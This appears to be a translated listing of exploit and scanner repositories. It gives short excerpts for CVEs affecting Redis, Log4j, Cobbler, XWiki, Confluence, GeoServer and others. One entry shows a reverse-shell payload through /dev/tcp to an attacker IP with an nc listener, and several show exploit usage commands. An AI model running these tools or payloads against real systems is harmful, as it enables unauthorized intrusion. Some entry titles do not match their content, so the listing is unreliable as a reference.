Redis-RCE

Redis-RCE exécution de code à distance pour redis4 et redis5 code python depuis https://github.com/Ridter/redis-rce En chargeant le fichier so, la nouvelle commande system.exec permet d'exécuter des commandes avec succès strings explin.so |grep sys system system.exec syserrlist.h sysnerr syserrli...

CVE-2024-47533-Cobbler-XMLRPC-Authentication-Bypass-RCE-Exploit-POC

CVE-2024-47533 - استغلال تجاوز المصادقة وتنفيذ الأوامر عن بُعد في Cobbler عبر XMLRPC ⚠️ تنفيذ تعليمات برمجية عن بُعد خطير عبر تجاوز المصادقة في Cobbler 🛠️ تنفيذ الإثبات العملي بواسطة @dollarboysushil 💡 نظرة عامة Cobbler، خادم تثبيت Linux الذي يتيح الإعداد السريع لبيئات تثبيت الشبكة، يحتوي على ثغرة...

CVE-2021-44228-log4jVulnScanner-metasploit

CVE-2021-44228-log4jVulnScanner-metasploit Outil open source de détection et de scanning pour découvrir et fuzzer la vulnérabilité Log4J RCE CVE-2021-44228 préparation POC git clone https://github.com/TaroballzChen/CVE-2021-44228-log4jVulnScanner-metasploit cd...

CVE-2021-44228-playground

LOG4SHELL-CVE-2021-44228-Validator حول تتيح لك هذه الأداة التحقق مما إذا كان تطبيق ويب Java بسيطًا عرضةً لثغرة CVE-2021-44228 وذلك بالنسبة لإصدار يقدمه المستخدم من Java وإصدار من Log4J. يمكنك أيضًا اختياريًا تطبيق أحد الإجراءات الوقائية المحددة مسبقًا. يستخدم مختبر المحاكاة الذي يتم تشغيله بواسطة...

CVE-2020-8165

استغلال CVE-2020-8165 بلغة Python هذا كود لاستغلال CVE-2020-8165 باستخدام Python3. هذا الاستغلال يعمل مع Rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" الاعتمادات الرئيسية تفاصيل CVE الأصلية:...

cve-2020-00796

تحديد وتخفيف ثغرة CVE-2020–0796 بسرعة CVE-2020–0796 هي ثغرة تنفيذ تعليمات برمجية عن بُعد قبل المصادقة pre-remote code execution تقع في بروتوكول الاتصال الشبكي Server Message Block 3.0 SMBv3، ولن تعالج مايكروسوفت المشكلة كجزء من تصحيحات الثلاثاء مارس 2020. الاستخدام python3 cve-2020-0796-scanner.p...

CVE-2025-24893

استغلال XWiki SSTI أداة استغلال مكتوبة بـ Python لثغرة حقن القوالب من جانب الخادم Server-Side Template Injection - SSTI في XWiki عبر حقن قالب Groovy في نقطة نهاية SolrSearch. الثغرة النوع : حقن القوالب من جانب الخادم Server-Side Template Injection - SSTI المكوّن : خلاصة RSS الخاصة بـ XWiki...

ghe-push-option-rce-scanner

CVE-2026-3854 — RCE sur GitHub Enterprise Server via injection d'options push Aperçu Neutralisation incorrecte des valeurs d'options push dans GHE. Un attaquant disposant d'un accès push obtient une RCE sur l'instance. Champ| Valeur ---|--- CVE| CVE-2026-3854 Sévérité| CRITIQUE Produit| GitHub...

CVE-2024-23743

CVE-2024-23743 CVE-2024-23743 مشكلة في Notion لنظام MacOS الإصدار 3.1.0 تسمح لمهاجم عن بعد بتنفيذ كود عشوائي عبر مكونات RunAsNode وenableNodeClilnspectArguments هناك أداة مصممة لأتمتة عملية البحث عن الثغرات في Electron: https://github.com/r3ggi/electroniz3r بهذه الأداة، يمكننا التحقق مما إذا كان...

CVE-2019-9978_Exploit

استغلال CVE-2019-9978 Social WarFare Plugin =3.5.2 تنفيذ التعليمات البرمجية عن بُعد...

CVE-2024-36401

CVE-2024-36401 ثغرة تنفيذ التعليمات البرمجية عن بُعد RCE في تقييم تعبيرات أسماء الخصائص GeoServer هو خادم مفتوح المصدر يتيح للمستخدمين مشاركة البيانات الجغرافية المكانية وتحريرها. قبل الإصدارات 2.23.6 و2.24.4 و2.25.2، تسمح معاملات طلبات OGC المتعددة بتنفيذ التعليمات البرمجية عن بُعد RCE من قبل...

chakra-exploit-framework

إطار استغلال Chakra يحتوي هذا المستودع على إطار عمل استغلال المتصفحات الذي كتبته للتحضير لدورة EXP-401 الخاصة بي. يستهدف الإطار محرك Chakra، الذي كان جزءًا من Edge حتى انتقاله إلى v8 في عام 2019. الثغرة التجريبية المستخدمة في الإطار هي CVE-2019-0567 من نوع Type Confusion. الميزات لتسهيل استخدام ه...

CVE-2021-46422

CVE-2022-26134RCE التثبيت git clone https://github.com/yigexioabai/CVE-2022-26134-cve1.git cd CVE-2022-26134-cve1 pip3 install -r requirements.txt 把CVE-2022-26134RCE.py放到pocsuite3\pocs目录下 cd pocs استخدام pocsuite3 عنوان URL واحد: pocsuite -r CVE-2022-26134RCE.py -u url عناوين URL متعددة: pocsuite...

CVE-2020-5902

CVE-2020-5902 في الإصدارات BIG-IP 15.0.0-15.1.0.3 و14.1.0-14.1.2.5 و13.1.0-13.1.3.3 و12.1.0-12.1.5.1 و11.6.1-11.6.5.1، تحتوي واجهة إدارة حركة المرور TMUI، التي يشار إليها أيضًا بأداة التهيئة، على ثغرة أمنية لتنفيذ التعليمات البرمجية عن بُعد RCE في صفحات غير معلنة. إثبات المفهوم...

Better-CVE-2022-29464

Better CVE-2022-29464 Certains produits WSO2 permettent le téléchargement de fichiers sans restriction, avec pour conséquence une exécution de code à distance. L'attaquant doit utiliser un point de terminaison /fileupload avec une séquence de traversée de répertoire dans Content-Disposition pour...

CVE-2024-32030-Nuclei-Template

قالب Nuclei لـ CVE-2024-32030 الوصف يحتوي هذا المستودع على قالب Nuclei لاكتشاف ثغرة CVE-2024-32030. تسمح هذه الثغرة بتنفيذ التعليمات البرمجية عن بُعد عبر تحليل JNDI لجمع مقاييس JMX. تفاصيل الثغرة المعرف: CVE-2024-32030 الاسم: JMX Metrics Collection JNDI RCE المؤلف: Hüseyin TINTAŞ الخطورة: حرجة...

CVE-2020-28502

ثغرة CVE-2020-28502 في node-XMLHttpRequest RCE وصف NVD يؤثر هذا على الحزمة xmlhttprequest قبل الإصدار 1.7.0؛ وجميع إصدارات الحزمة xmlhttprequest-ssl. بشرط إرسال الطلبات بشكل متزامن async=False في xhr.open، يمكن أن يؤدي إدخال المستخدم الضار الذي يتدفق إلى xhr.send إلى إدخال وتنفيذ تعليمات برمجية...

CVE-2020-9548

CVE-2020-9548：FasterXML/jackson-databind ثغرة تنفيذ التعليمات البرمجية عن بُعد...

ConfluentPwn

ConfluentPwn ماسح ثغرة حقن ONGL قبل المصادقة في Confluence والتي تتيح تنفيذ التعليمات البرمجية عن بُعد CVE-2022-26134. الاستخدام يعرض ملف GIF أدناه استخدامًا تجريبيًا للأداة: فيما يلي مخرجات المساعدة الخاصة بالأداة: $ ./cfscan -h +-------------------------------+ | C O N F L U E N T P W N |...

CVE-2026-77991

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · CVE-2026-77991 CVE-2026-77991 JEM - Joomla Event Manager 5.0.0 - joomlaeventmanager.net I am @abraxasnull. Loopback lab. The client is CVE-2026-77991-Abraxas-Labs.py. The advisory named a model. Privileged RCE:...